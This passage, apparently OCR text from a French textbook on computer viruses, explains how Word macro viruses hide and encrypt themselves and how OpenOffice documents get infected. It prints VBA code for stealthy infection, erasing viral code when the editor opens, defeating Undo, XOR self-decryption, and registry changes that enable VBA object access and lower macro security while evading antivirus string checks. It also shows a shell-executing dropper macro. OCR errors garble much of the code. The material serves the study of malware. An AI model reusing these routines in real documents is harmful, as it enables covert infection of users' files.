ThisDocument.VBProject.VBComponents(1) Ce choix est primordial car il permet dexecnter les macros automatiques preexistantes, en particulier Document_ Open. Ces dernieres ne seraient pas executees si elles se trouvaient dans un autre module. II reste enfin un autre ecueil a gerer. Les noms des macros contenues dans un macro-virus peuvent etre identiques a ceux designant une ou plusieurs macros preexistantes, II s'ensuivrait alors un conflit generateur de disfonctionnements et donc une alerte de l'utilisateur. II faut par consequent mettre en ceuvre un mecanisme pour evitcr ce type de conflit tout en conservant les fonctionnalites de ces eventuelles macros preexistantes au nom identique. Supposons que les macros d'un macro-virus necessitant ce traitement soient denommees Document_Open, Document_New, ViewVBCode, Too1sMacro, AutoExit, Fi1eSave et Fi1eSaveAs. Avant de proceder a la mise en place du code viral dans le module du fichier cible, le macro-virus y verifie la presence de ces macros. Si effectivement ces macros existent, il les renomme en mettant un « Pre» devant chacun de leur nom. Si une macro preexistante est publique, elle devient privee, toujours pour evitcr deventuels conflits. Ainsi. la macro nreexistante suivante :
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Sub Document_Open() est rcnommec :



Private Sub ExDocument_Open() Le code realisant cela est le suivant :



, Tableau des noms des macros preexist antes , en eventuel conflit LesIn = Array(1I document_open(", II document_new(lI, II viewvbcode(", II toolsmacro(", II autoexit(", II filesave(", II filesaveas(lI) , Tableau des noms de substitution de ces macros , pre-existantes eventuelles LesEx = Array(IIPrivate Sub PreDocument_Open() II , "Private Sub PreDocument_New() II , "Private Sub PreViewVBCode() II , "Private Sub PreToolsMacro() II , "Private Sub PreAutoExit() II , "Private Sub FileSave() II , "Private Sub FileSaveAs()II) , Tableau de statut d'existence des macros , preexistantes (initialise a False) DocExiste = Array(False, False, False, False, False, False, False) For z = 0 To 4 For n = 1 To Cible.CountOfLines If InStr(1, Cible.Lines(n, 1), Lesln(z), vbTextCompare) 0 Then DocExiste(z) = True , Changement du nom de cette macro Cible.ReplaceLine n, LesEx(z) End If Next n Next z Dans un but de furtivite optimale, il est egalement indispensable que ces macros preexistantes soient executees au moment attendu par l'utilisateur. II faut donc les appeler au moment opportun, c'est-a-dire a la fin de I'execution des macros virales ayant un nom identique. Ces appels prennent place aux endroits decrits dans le tableau 12.1.
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Emplacement de leur appel



PreDocument - Open



Fin de la macro principale (cette derniere



etant executee depuis Document_ Open) PreDocument - New



Fin de Document - New



PreViewVBCode



Pas d'appel



PreToolsMacro



Pas d'appel



PreAutoExit



Pas d'appel



PreFileSave



Fin de FileSave



PreFileSaveAs



Fin de FileSaveAs



TAB.



12.1. Points d'appels des macros preexistantes



Les macros PreViewVBCode, PreToolsMacro et PreAutoExit ne sont pas appelees. En effet, la presence de telles macros indique la mise en oeuvre tres probable de fonctionnalites destinees a lutter contre les macro-virus. II est donc preferable de ne pas les executor. La macro AutoExit semble devoir etre appclec. Cependant, un bon moyen de prevention contre les macro-virus serait par exemple d'effacer le projet dans le fichier Normal.dot a chaque fermeture de l'application. La macro AutoExit preexistante n'est donc pas appclec. Pour resumer, la mise en place de l'appel des eventuelles macros preexistantes se fait de la facon suivante :



If DocExiste(O) Then , Si une macro Document_Open preexiste Cible.ReplaceLine Cible.ProcBodyLine("PrincipalZ", vbext_pk_Proc) + Cible.ProcCountLines("PrincipalZ", vbext_pk_Proc) - 2, "PreDocument_Open '" , Lancement de la macro Document_Open preexist ante et , insertion de l'appel de l'ancien code de la macro Else , S'il n'y avait pas de macro Document_Open Cible.ReplaceLine Cible.ProcBodyLine("PrincipalZ", vbext_pk_Proc) + Cible.ProcCountLines("PrincipalZ", vbext_pk_Proc) - 2, "Rem No FileSave macro in this project '" , Insertion d'une ligne de commentaire, afin de conserver , l'architecture ~lobale du code
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End If If DocExiste(1) Then , Traitement identique pour les autres macros , preexistantes (1, 5 et 6). Pour les autres macros , pas d'appel pour limiter les risques de conflits End If , Gestion particuliere de la macro AutoExit If ThisDocument = NormalTemplate Then , Si Ie document infectant est Normal.dot Cible.ReplaceLine Cible.ProcBodyLine("AutoExit", vbext_pk_Proc), "Private Sub FauxAutoExit() '" , Changement de la macro publique "AutoExit" en macro privee , "FauxAutoExit" dans la cible EIseIf TargetIsNormal Then , Sinon, si la cible est Normal.dot ... ' Cible.ReplaceLine Cible.ProcBodyLine("FauxAutoExit", vbext_pk_Proc), "Sub AutoExit() '" , Restauration d'AutoExit End If Dans le code precedent, la fonction FauxAutoExit a pour but de retablir la fonction de chiffrement du modele infectant, puis du chiffrement de la macro principale du fichier Normal. dot. Gestion de l'acces au code viral En cas doute ou pour tout autre raison, l'utilisateur peut chercher a acceder et a visualiser les macros prcsentcs dans un document en passant par le VBE. Lorsque le document est infecte, I'editeur revelera la presence et le code des macros virales, si aucun mecanisme de furtivite n'est mis en place par le macro-virus. Le principe general d'un tel mecanisme - parmi d'autres possibbles - repose sur l'interception de toute tentative dacces via le VBE par une macro usurpatrice ViewVBCode. Uno premiere solution est assez simple et seduisante, Elle utilise la technique de la modification des couleurs des caracteres d'affichage du VBE. Cela passe par la modification de trois cles de la base de registres 7 gerant : 7



Cette technique montre encore une fois que la securite d'une application repose tres larzement sur celle de l'environnement lui-rneme.
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- la couleur des caracteres ; - la couleur du surlignage de selection des caracteres ; - la presence des lignes de separation entre chaque macro. Toutefois, cette methode est assez delicate a mettre en oeuvre car la modification de ces cles, pour etre prise en compte, necessite la fermeture puis la reouverture de l'application. Cela peut etre realise par une attaque multi-niveaux (par exemple a l'aide de codes k-aires [104,107]). La procedure ViewVBCode est alors la suivante (Ie macro-virus est nomme macro_vir; l'analyse de cette procedure est laissee en exercice).



Sub ViewVBCode() Sauvegarde = ThisDocument.Saved ThisDocument.Save ThisDocument.Saved = Sauvegarde If System. PrivateProfileString(" II , _ IHKEY_CURRENT_USER\Software\Microsoft\VBA\Office", ICodeBackColors") "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1" Then Open Ic:\RatCat.reg" For Output As #1 Print #1, IREGEDIT4" Print #1, 1111 Print #1, I[HKEY_CURRENT_USER\Software\Microsoft\VBA\Office]" Print #1, II II ICodeBackColors" "=" "1 1 1 1 1 1 1 1 1 1 1 1 \ 1 1 1 1""" Print #1, II II ICodeForeColors" "=" "1 1 1 1 1 1 1 1 1 1 1 1 \ 1 1 1 1""" Print #1, IIIEndProcLinell=dword:O" Close #1 Shell "regedit /s c:\macro_vir.reg", vbNormalFocus Kill "c:\macro_vir.reg" Set AncienWord = GetObject(, IWord.Application") Set NouveauWord = CreateObject(IWord.Application") AncienWord.ScreenUpdating = False With NouveauWord .Visible = True .Visible = False .WindowState = wdWindowStateMaximize .Documents.Open (ThisDocument.FuIIName) .Visible = True .ShowVisualBasicEditor = True .VBE.MainWindow.WindowState = wdWindowStateMinimize
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End With ThisDocument.Saved AncienWord.Quit
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True



End If End Sub Mais aussi seduisante que cette methode puisse paraitre, elle pose de nombreux problemes : furtivite limitee, disfonctionnements provoques par l'ouverture simultanee de plusieurs documents, absence de gestion des macros preexistantes, possibilite de recuperer le code par « copier-coller », presence de la barre de defilement vertical du VBE, impossibilite pour l'utilisateur de rentrer du code pour une macro personnelle, presence du nom d'une macro dans les menus deroulants superieurs... Unc solution plus aboutie consiste a effacer le code viral a l'exclusion des macros legitimes preexistantes (ainsi que celles eventuellement rcnommces en « Pre ... »). Ces macros sont alors renommccs par leur nom originel. Les instructions permettant de realiser ces operations sont organisees en quatre parties: - une macro ViewVBCode qui, rappelons-le, est une macro usurpatrice se declenchant lors de la demande d'ouverture, par l'utilisateur, du VBE, - suivie des trois parties d'une macro denommee CodeErase : une pour la disparition du code, une pour le renommage des macros preexistantes et une pour evitcr tout retour en arricre. Le code de la macro ViewVBCode est le suivant :



, La macro n'est executee qu'a partir du modele , attache au document actif lors de l'ouverture du VBE , En effet, la macro principale du document est chiffree , et done sa macro ViewVBCode n'existe pas. Private Sub ViewVBCode() (1) On Error Resume Next Application. EnableCancelKey wdCancelDisabled CodeErase , Appel de la macro CodeErase Application.ShowVisualBasicEditor = True , Lancement du VBE, une fois que la macro CodeErase a ete , executee (transfert de contrale a l'utilisateur) End Sub Le code de la macro CodeErase traitant de la disparition du code viral est alors le suivant :
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Private Sub CodeErase( ) On Error Resume Next ' DSB = Application.DisplayStatusBar ' Application.DisplayStatusBar = False ' Application.EnableCancelKey = wdCancelDisabled ' ScreenUpdating = False , Gel de l'affichage ecran For a = 1 To Documents.Count , Parcours de tous les documents ouverts Set DocOuModele = Documents(a) GoSub Volatil Next a For b = 1 To Templates.Count , Parcours de tous les modeles ouverts , (par defaut Normal.dot) Set DocOuModele = Templates(b) GoSub Volatil Next b GoTo FinCodeErase Volatil: Debut du sous-programme "Volatil" Set SonCode = DocOuModele.VBProject.VBComponents(1).CodeModule Sauvegarde = DocOuModele.Saved , Stockage de l'etat de sauvegarde If Left(SonCode.Lines(SonCode.ProcCountLines("Document_Open", vbext_pk_Proc) + 2, 1), 1) = "'" Then , Si Ie code de l'un des documents est chiffre. Dans ce cas , la derniere macro a supprimer aura un nom mute , (polymorphisme des noms de macros) determine a , la ligne suivante ; , sinon cette derniere macro sera Document_New NomMacro = SonCode.ProcOfLine(SonCode.ProcCountLines( "Document_Open", vbext_pk_Proc) + 2, 3) , Pour determiner Ie nom mute de la macro du virus SonCode.DeleteLines 1, SonCode.ProcBodyLine(NomMacro, vbext_pk_Proc) + SonCode.ProcCountLines(NomMacro, vbext_pk_Proc) - 1 , Effacement du code du virus Else
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SonCode.DeleteLines 1, SonCode.ProcBodyLine("Document_New", vbext_pk_Proc) + SonCode.ProcCountLines("Document_New", vbext_pk_Proc) - 1 End If La seconde partie de CodeErase retablit le nom originel des macros eventuellement preexist.antes. Le mecanisme de recherche de ces macros et de renommage est identique a celui utilise pour I'operation inverse.



, Tableau des noms des eventuelles macros preexist antes LesEx = Array("sub Predocument_open(", "sub Predocument_new(", "sub Previewvbcode(", "sub Pretoolsmacro(", "sub Preautoexit(", "sub Prefilesave(", "sub Prefilesaveas(") , Tableau des noms de ces macros remises en place LesIn = Array("Sub Document_Open (", "Sub Document_New (", "Sub ViewVBCode (", "Sub ToolsMacro (, "Sub AutoExit (", "Sub FileSave (", "Sub FileSaveAs (") For y = 0 To 6 , Pour toutes les macros eventuellement preexist antes For x = 1 To SonCode.CountOfLines , Parcours des lignes du code LaLigne = SonCode.Lines(x, 1) Recherche = InStr(1, LaLigne, LesEx(y), vbTextCompare) , Recherche d'une macro de type "Pre ... " If Recherche 0 Then , Si une telle macro existe Mid(LaLigne, Recherche) = LesIn(y) , Remise en place des noms initiaux SonCode.ReplaceLine x, LaLigne End If Next x Next y , Si il sa'git d'un modele If LCase(Right(DocOuModele.Name, 4)) ".dot" Then (*) DocOuModele.Saved True Else DocOuModele.Saved Sauve~arde
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End If Return FinCodeErase: Le test mis en place a la ligne marquee (*) permet de retablir l'etat de sauvegarde suite aux modifications apportees au code. Si le fichier en cours de traitement est un document, l'etat sera retabli conformernent a ce qui a ete observe dans la premiere partie (directive Sauvegarde = DocOuModele. Saved). De ce fait, si le document est deja sauvegarde (. Saved = True) et que l'utilisateur le referme apros avoir accede au VBE, le macro-virus subsiste dans le document. Si l'utilisateur sauvegarde ce document avant de le fermer, le virus disparait mais la discretion est preservee. Si maintenant c'est un modele qui est traite, l'etat est retabli a True. Si l'utilisateur a deja procede a des modifications sur ce modele et qu'il oublie de sauvegarder celui-ci, ces modifications ne sont pas prises en compte car il n'y aura pas de demande de confirmation de sauvegarde a la fermeture du modele. Certes, la discretion est quelque peu alteree, cependant, un utilisateur qui sait modifier un modele oublie rarement de le sauvegarder manuellement. Par ailleurs, cette technique permet de conserver les modeles infectes. La seule exception est donc la sauvegarde manuelle du modele apres avoir ouvert le VBE. La derniere partie de la macro CodeErase permet d'interdire l'usage du bouton « Annuler». En effet, son utilisation retablirait d'un seul coup le code disparu. Cette touche d'historique permet de remonter les vingt dernieres actions effectuees et n'est manifestement pas parametrable, Pour parer cet usage, il suffit de faire vingt actions anodines a la fin de CodeErase :



Set CodeNormal = NormalTemplate.VBProject.VBComponents(1).CodeModule For 1 = 1 To 10 , Dix insertions d'une apostrophe CodeNormal.InsertLines CodeNormal.CountOfLines + 1, "'" , suivies de dix effacements de cette apostrophe, d'ou , vingt actions qui permettent d'interdire l'usage efficace , de la fonction "Annuler" CodeNormal.DeleteLines CodeNormal.CountOfLines, 1 Next 1 II reste un dernier cas a traiter concernant l'acces au VBE : celui OU ce dernier est deia ouvert au moment de l'ouverture d'un document infecte :
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If Application.ShowVisualBasicEditor = True Then ... L'action de dissimulation la plus simple serait dans ce cas d'appeler la macro CodeErase afin qu'elle agisse comme cela a ete decrit ci-dessus. Ce n'est malheureusement pas possible compte tenu du fait que le test sur l'ouverture du VBE ne peut se faire qu'a partir de la macro principale, a la fin de toute la procedure d'infection. Or il n'est pas possible d'appeler une autre macro depuis la macro principale (probleme de l'absence de cette macro au moment du dechiffrement de la macro principale). Une solution relativement satisfaisante consiste alors a realiser le phenomene suivant : a I'cxecution de la macro principale, si le VBE est ouvert, il se ferme aussitot. Si l'utilisateur veut reprendre son travail dans le VBE, il doit alors l'ouvrir de nouveau, provoquant cette fois-ci la veritable execution du code CodeErase par I'intermediaire de la macro ViewVBCode. La fermeture intempestive du VBE pourra etre mise sur le compte d'une anomalie « normale », Le code est alors le suivant :



, Si Ie VBE est ouvert If Application.ShowVisualBasicEditor , Fermeture du VBE Application.ShowVisualBasicEditor End If



True Then False



Techniques de chiffrement L'utilisation du chiffrement dans un macro-virus sert a dissimuler son code et plus largement les actions qu'il effectue. Cela sert a la fois a blinder le code pour resister a l'analyse et a rendre le code le moins signant possible (resistance a l'analyse spectrale par exemple, dissimulation de la structure du macro-virus face au scanneur de virus, resistance face a I'emulation de code... ). Les techniques de chiffrement seules sont insuffisantes a protcger un code et des techniques de polymorphisme doivent toujours etre considerees en memc temps pour faire varier certains parametres ou objets du code: clef de chiffrement, algorithme de chiffrement, macro de mise en oeuvre du chiffrementydechiffrement (decrypteur). Mais le chiffrement lui-meme concourt a realiser le polymorphisme de code : chaque clef de chiffrement produit un code chiffre different.
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II existe de tres nombreuses techniques de chiffrement de code. Nous allons en presenter quelques unes, parmi les plus simples mais neanmoins efficaces, pour peu que certaines precautions soient prises. Considerons un macro-virus avec chiffrement tel que la structure interne d'un fichier infecte soit celIe decrite dans le tableau 12.2. Macros dites « chiffrees » Macro dites « dechiffrees » Document_Open en clair



Document_Open en clair



Macro principale chiffree Macro principale en clair Autres macros en clair TAB.



12.2. Agencement d'un macro-virus chiffrant



Pour tenir compte des techniques de sauvegardes presentees dans le paragraphe 12.2.2, adoptons les conventions suivantes : - la macro principale d'un fichier (document ou modele) ferme est sous forme chiffree ; - la macro principale d'un document ouvert est sous forme chiffree (sauf au moment precis de son execution) ; - la macro principale d'un modele ouvert est dechiffree afin de pouvoir controler les actions de l'utilisateur impliquant les macros ViewVBCode, ToolsMacro, Document_New, AutoExit, FileSave et FileSaveAs. La seule macro claire du macro-virus sert a la fois au declenchement du macro-virus et au dechiffrement. Par « seule macro claire», il faut entendre la seule macro claire lorsque le fichier porteur est forme. En effet, il n'est plus necessaire d'avoir une macro chiffree lorsque le fichier est ouvert, le logiciel antivirus ne le verifiant plus". Le code ASCII de chaque caractere (un octet) de chaque ligne est chiffre par une operation logique XOR (notee EB) ou EQv 9 . Donnons un exemple de code pour une telle macro Document_Open. La presence de la lettre terminale « Z » dans les noms de variables sera expliquee dans la section suivante consacree au techniques de polymorphisme. Private Sub Document_OpenC ) , Usage de macro privees pour eviter tout conflit 8



9



II est egalement possible, du fait de la nature du code VBA de dechiffrer jrechiffrer les directives du code au moment et juste aprcs leur utilisation, le code etant en permanence sous forme chiffre, a l'exception de la directive active en cours. La fonction EQv correspond a la negation de la fonction XOR, autrement dit a EQV b == 1 EB a EB b.
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System. PrivateProfileString(" II , "HKEY_LOCAL_MACHINE\Software\ Microsoft\Office\10.0\Word\Security", IAccessVBOM") = &H1 Set codepremZ = ThisDocument Set codedeuxZ = codepremZ.VBProject Set codetroisZ = codedeuxZ.VBComponents(1) Set codefinalZ = codetroisZ.CodeModule , Suite d'affectations pour eviter d'avoir un code , trop "signant". En effet, beaucoup de macro-virus , utilisent directement la directive suivante , ThisDocument.VBProject.VBComponents(1).CodeModule For boucleaZ = 21 To 414 AncLigneZ = codefinalZ.Lines(boucleaZ, 1) If Left (AncLigneZ, 1) = "'" Then NouvLigneZ 1111: DebutZ = 2 Else NouvLigneZ = "'": DebutZ = 1 End If DebutZ To Len(AncLigneZ) For bouclebZ NouvLigneZ NouvLigneZ & Chr(Asc(Mid(AncLigneZ, bouclebZ, 1)) Xor 28) Next codefinalZ.ReplaceLine boucleaZ, NouvLigneZ Next PrincipalZ , Une fois dechiffree, appel de la macro principale End Sub La cle doit etre tirec aleatoirement dans un intervalle de valeurs bien specifiques. Le but de cet intervalle est d'eviter que le code ASCII du dernier caractere d'une ligne ait la valeur 32 (caractere « espace ») une fois chiffre, Le VBE, dans un souci de proprcte, elimine les derniers espaces de chacune des lignes d'une macro. Ainsi, lors d'un dechiffrement, tous les caracteres qui auraient ete chiffres en« espace » seraient perdus. Pour pallier cet effet, le macro-virus utilise un caractere unique a la fin de chacune de ses lignes chiffrees. Ce caractere doit etre transparent pour le VBE : le caractere apostrophe est tout indique, Ainsi, chaque ligne de la macro principale se termine par une apostrophe, et les fourchettes de choix des valeurs de la cle de chiffrement permettent de ne jamais transformer une apostrophe en espace. II faut, de nlus, eviter un chiffrement en caracteres non imnrimables (codes ASCII
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inferieurs a 32), en particulier les retours a la ligne (codes ASCII 10 et 13) qui desorganiseraient le projet. Les fourchettes choisies sont les suivantes : de 8 a 31 pour le chiffrement XOR et de 9 a 31 pour le chiffrement par la fonction EQv. Ce type de precaution est indispensable et montre combien il est vital de toujours confronter la technique de chiffrement envisagee avec tous les effets de bords et autres contraintes possibles imposees par l'application. Pour terminer avec le chiffrement donnons le code de la procedure Cipher_Code presentee dans le paragraphe 12.2.2. Nous en commenterons les parties essentielles, laissant au lecteur le soin d'une analyse plus fine.



Private Sub Cipher_Code(Operation) , On Error Resume Next ' Set CodeCible = ActiveDocument.VBProject.VBComponents(1).CodeModule ' For v = 1 To CodeCible.CountOfLines , Parcours des lignes de la cible' If Left(CodeCible.Lines(v, 1), 4) = "For" Then , Lorsque la premiere boucle (normalement, celIe de parcours , de la macro a chiffrer) est trouvee ... ' Debut = Mid(CodeCible.Lines(v, 1), 16, 2) , Prise du numero de la premiere ligne a chiffrer' Fin = Mid(CodeCible.Lines(v, 1), 22, 3) , Prise du numero de la derniAire ligne a chiffrer' Exit For End If ' Next v ' For u = 1 To CodeCible.ProcCountLines("Document_Open", vbext_pk_Proc) , Cette boucle permet de recuperer l'algo et la cle utilises , dans Ie document actif' If InStr(1, CodeCible.Lines(u, 1), "Chr(Asc(Mid" , vbTextCompare) 0 Then ' LaLigne1 = CodeCible.Lines(u, 1) , If InStr(1, LaLigne1, "Xor", vbTextCompare) 0 Then' Algo = "Xor" , Else ' Algo = "Eqv" , End If ' Position = InStr(1. LaLi~ne1. AI~o. vbTextComoare) ,
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CleAlphaNum = Mid(LaLigne1, Position + 4, 2) , Recherche de la cle : 4 pour les 3 lettres de Xor ou Eqv , + l'espace qui Ie suit; 2 pour la cle (si > 10, RAS; si 2.
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provoquera l'erreur d'execntion 6068 ( « acces programmatique a Visual Basic n'est pas approuve»). Pour contourner cela, le code devra etre modifie comme suit:



Private Sub Document_Open() System. PrivateProfileString(" II , "HKEY_LOCAL_MACHINE\Software\Microsoft\ Office\10.0\Word\Securit y", IAccessVBOM")



&H1



Set CodeNormal ThisDocument.VBProject.VBComponents(1).CodeModule Set LeCode = ThisDocument.VBProject.VBComponents(1).CodeModule Un code extcricur peut donc d'abord modifier ces parametres pour ensuite permettre via un document bureautique, d'agir en toute discretion. Notons que la solution, naive de nos jours, consistant a operer ces modifications directement au sein d'un document bureautique, via le code suivant, par exemple :



System.PrivateProfileString(II,"HKEY_CURRENT_USER\Software\ Microsoft\Office \10. O\Word\Security\" , "Level") =1. System.PrivateProfileString(II,"HKEY_CURRENT_USER\Software\ Microsoft\Office\10.0\Word\Security\I,IAccessVBOM")=1. est vouce a l'echec, tout antivirus digne de ce nom etant capable de reperer ce genre d'instructions douteuses. Toutefois, en modifiant legerement le code precedent la plupart des antivirus deviennent desesperement muets ':'



V=Application.Version , Obtention de la version courante de Word XX=IAccessl+IVBOM" System.PrivateProfileString(II,"HKEY_CURRENT_USER\Soft"+ Iware\Microsl+loft\Offl+lice\I&V&I\Wol+lrd\Security", ILe l+ lvel")=1. System.PrivateProfileString(II,"HKEY_CURRENT_USER\soft"+ Iware\Microsl+loft\offl+lice\I&V&I\Wol+lrd\Security", "Le"+"vel" ,XX)=1. 13



Merci



a Wesam S.



Bhava. de I'universite de Babvlone en Iraa aui a fourni cet exemnle.
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Cela demontre la faiblesse des techniques antivirales actuelles (voir egalement [104, Chapitre 2]) : une simple reccriturc de chaines de caracteres suffit a contourner les heuristiques de la plupart des antivirus!".



12.3 OpenOflice et Ie risque viral 12.3.1 Generalites : la faiblesse d' Open Office L'emergence de la suite OpenOffice n'a pas fait disparaitre le risque viral lie aux documents bureautiques. Une certaine naivete et un certain militantisme de mauvais aloi ont laisse pense que, puisqu'il s'agissait d'un logiciel libre, donc ouvert, la menace liee aux macro-virus disparaitrait au fur et a mesure qu' Open Office gagnerait en part de marche, Ce fut une totale illusion, confortee par le fait que le langage YBA u'etait pas reconnu par cette nouvelle suite. Erreur classique de ceux qui confondent langages de programmation et algorithmique. Non seulement le risque viral sous OpenOffice n'est pas nul mais il est, a ce jour, considerahlement plus important. Des etudes recentes, validees a chaque fois operationnellement et avec de nombreuses preuves de concept, l'ont demontre. Les raisons sont multiples: - la richesse fonctionnelle d' Open Office est tres importante, probablement plus que celIe de la suite Microsoft Office. Plusieurs langages de programmation sont disponibles (OOBasic, JavaScript ... ) certains tres puissants (comme Python par exemple). Cette richesse fonctionnelle ouvre de multiples opportunites pour I'ecriture de virus sophistiques [64,105,110] ; - la nature memc des documents Open Office (archive de type ZIP, voir plus loin) facilite la manipulation des documents par un code malveillant. Mais cette evolution vers ce type de format plus complexe concerne egalement et potentiellement les versions les plus recentes de la suite Microsoft Office [154] ; - la gestion des fonctions de securite (chiffrement et signature electronique) est, sous OpenOffice - au moins pour les versions 2.x, et partiellement pour la version 3.x 15 - calamiteuse. II est en effet possible d'infecter un document chiffre et/ou signc, et ce sans declencher aucune alarme du cote du destinataire lorsque celui dechiffre le document ou en vcrifie la signature electronique (qui - rappelons-Ie - a, entre autres buts, d'assurer I'integrite du document) [111] 14 15



L'experience a ete menee sur les versions 2008 des principaux editeurs d'antivirus. La version 3 est en cours d'analyse a l'heure OU ce livre parait. Une synthese detaillee des resultats obtenus Dour cette version sera nubliee en mars 2009.
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Le risque viral sous OpenOffice s'est veritablement concretise avec le macrover OpenOffice/BadBunny, en juin 2007. Ce ver multi-plateforme donne une idee de ce qu'il est possible de faire avec l'environnement Open Office, memc s'il n'exploite qu'une tres faible partie des fonctionnalites de cet environnement. Capable de frapper autant Luiux, Windows qu' Apple, il rappelle avec force les nombreuses interactions existant entre une suite bureautique et le systeme d'application (ou les applications que ce dernier heberge}, Nous ne decrirons pas le macro-ver OpenOffice/BadBunny. Le lecteur en trouvera une analyse detaillee dans [113]. Son code source est egalement fourni sur le CDROM accompagnant l'ouvrage.



12.3.2 Un cas simple de virus pour OpenOffice Afin d'illustrer simplement le principe de fonctionnement d'un virus pour OpenOffice, nous allons etudier un code publie recemment (aout 2008) par un auteur denomme WarGame que nous avons legerement modifie dans un but didactique. L'objectif est principalement d'expliquer le processus d'infection fonde sur la structure meme d'un fichier Open Office. Le code est en OOBasic. Notons que le principe est le meme quel que soit le type de document (texte, feuille de calcul. ..). Un document OpenOffice est en fait une archive de type ZIP. Considerons un document nomme reference_file. odt. L'usage de la commande file sous Linux donne :



$ file reference_file.odt reference_file.odt: Zip archive data, at least v2.0 to extract $ unzip reference_file.odt Archive: reference_file.odt extracting: minetype creating: Configuration2/ creating: Pictures/ inflating: file.xml inflating: styles.xml extracting: meta.xml inflating: setting.xml inflating: META-INF/manifest.xml $ Is -1 total 72 2 lrv lrv 68 Feb 16 15:46 Configurations2 drwxr-xr-x 3 lrv lrv 102 Feb 16 16:51 META-INF drwxr-xr-x
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drwxr-xr-x -rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r-



2 1 1 1 1 1 1



lrv lrv lrv lrv lrv lrv lrv



lrv lrv lrv lrv lrv lrv lrv



68 2347 4427 1047 39 6607 7623



Feb Feb Feb Feb Feb Feb Feb
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16 16 16 16 16 16 16



15:46 15:46 16:46 15:46 15:46 15:46 15:46



Pictures content.xml reference_file.odt meta.xml mimetype setting.xml styles.xml



Expliquons a quoi correspondent les differents fichiers. Le repertoire META-INF contient un fichier manifest.xml qui decrit la structure generale de l'archive, les informations la concernant, les eventuelles donnees afferentes au chiffrement (algorithmes, empreinte numerique ... ). Ce fichier est tres important pour les problemes de securite lies a ce format. Pour les autres fichiers, nous avons : - le fichier eontent.xml : commun a tous les types de documents Open Offlee, il contient les donnees utiles du document (celles constituant la partie visible) ; - le fichier meta.xml : contient les meta-informations du document (auteur, date d'acces ... ) ; - le fichier styles. xml : il specific le ou les styles utilises; - le fichier setting.xml : il precise les donnees de configuration liees au programme, telles que taille de la fenetre, parametres d'impression ... Inserons a present une macro dans notre document). Un nouveau repertoire a ete cree :



$ Is -1 ./Basic total 8 4 lrv drwxr-x-rx 1 lrv -rw-r--r--



lrv lrv



138 Mar 338 Mar



2 01:47 Standard 2 00:38 script-lc.xml



$ Is -1 /Basic/Standard total 16 350 Mar 2 00:38 script-lb.xml -rw-r--r-- 1 lrv lrv -rw-r--r-- 1 lrv lrv 2049 Mar 2 00:38 une_macro.xml $ Is -1 ./META-INF total 8 -rw-r--r-- 1 lrv lrv



1465 Mar



2 00:38 manifest.xml



Ce repertoire contient toute l'organisation des macros en sons-repertoires. Le fichier manifest.xml a ete modifie de sorte a nrendre en comnte. au niveau du
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document et de l'application, la presence des macros. Le chemin des macros y a ete ajoute :



Le code de toute macro est localise entre les deux balises XML suivantes :



 <script:module xmlns:script=''http://openoffice.org/2000/script'' script:name="a_macro" script:language="StarBasic">  Notons que toutes les informations utiles pour un code malveillant sont situees ici. II est ainsi, par exemple, possible de changer le langage de macro. La gestion des librairies de macros se fait selon la memc philosophie. Nous ne la traiterons pas ici. Le lecteur interesse consultera [64]. Considerons la macro suivante, denommee une_macro :



  <script:module xmlns:script=''http://openoffice.org/2000/script''\ script:name="une_macro" script:language="StarBasic"> REM **** Macro 1 **** Sub Main msgbox "Les bulles du Coca c'est bien ... " End Sub REM **** Macro 2 **** Sub Main msgbox "Les bulles du champagne c'est mieux car au moins \ c'est magique !!! " End Sub 
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L'infection d'un document peut alors s'effectuer de deux maniercs principales: - en infectant un virus complet et fonctionnel. C'est le cas de OpenOjfice/BadBunny. Nous ne traiterons pas ce cas, conceptuellement moins interessant. Le lecteur interesse trouvera egalement la description d'un virus plus complexe en langage Python dans [110] ; - en infectant une macro deja existante avec du code viral. Nous allons considerer ce dernier cas, quand la macro est en en clair. Le lecteur pourra consulter [111] pour voir comment faire la memc chose avec des documents chiffres/signes, Considerons alors la macro malicieuse suivante, chargee d'injecter le code infectieux :



Sub DropInfector open path_to_write_the_infector for output as #1 REM *** Ecriture du code malicieux *** print #1, ... close #1 REM *** Execution du code malicieux *** shell (path_to_write_the_infector,O) End Sub Une fois la macro une_macro infectee, nous obtenons le code final suivant :



  <script:module xmlns:script=lhttp://openoffice.org/2000/script"\ script:name="une_macro" script:language=IStarBasic"> REM **** Macro 1 **** Sub Main msgbox "Les bulles du Coca c'est bien ... " End Sub REM **** Macro 2 **** Sub Main msgbox "Les bulles du champagne c'est mieux car au moins\ c'est magique !!! " End Sub
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REM **** Code malicieux **** Sub Droplnfector open path_to_write_the_infector for output as #1 print #1, ... close #1 shell (path_to_write_the_infector,O) End Sub  Cet exemple tres simple montre combien il est facile, en raison de la structure rneme d'un fichier Open Office, de realiser une infection. Que cette infection soit externe (primo-infection par un code k-aire) ou directement a partir d'un document OpenOffice infecte, seule la mise en oeuvre change.
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PDF



et risque viral



Tout ce qui precede montre que l'usage generalise des documents bureautiques constitue un danger potentiel, plus ou moins eleve selon la type de document. Mais ce risque est d'autant plus grand que le format des documents concernes et /ou les applications permettant de les gerer (de la creation a la manipulation) contiennent des faiblesses conceptuelles. Comme nous l'avons deja evoquc, les utilisateurs ne se mefient absolument pas des documents - au sens large du terme - qu'ils considerent, a tort, comme des donnees inertes et donc sans danger. Pour avoir une idee precise de I'etendue de ce danger, le lecteur pourra verifier en consultant le tableau 5.3 que la sensibilite de la plupart des formats de donnees vis-a-vis du risque infectieux informatique est bien une realite, Les differences existant d'un format a un autre, tiennent essentiellement aux conditions operationnelles pour mettre en ceuvre de telles attaques. Nous venons de le voir avec le cas des virus dits « de macro », Le probleme le plus interessant et certainement plus critique tient aux fonctionnalites natives contenues dans les applications traitant de certains formats de donnees et qui ne sont pas directement accessibles. Dans le cas des macro-virus, le code potentiellement incrimine ou incriminable est facile a identifier : les macros ont une forme bien definie et il existe un outil natif permettant de les analyser. Autrement dit, un code malicieux, dans ce type de cas - si l'on exclut le cas des codes k-aires - a une forme bien circonscrite. Mais il existe des formats OU code et donnees sont si intimement meles qu'il est tres difficile d'identifier et d'analyser un bout de code eventuellement malicieux. Pire. dans ces formats de documents les donnees sont elles-memes
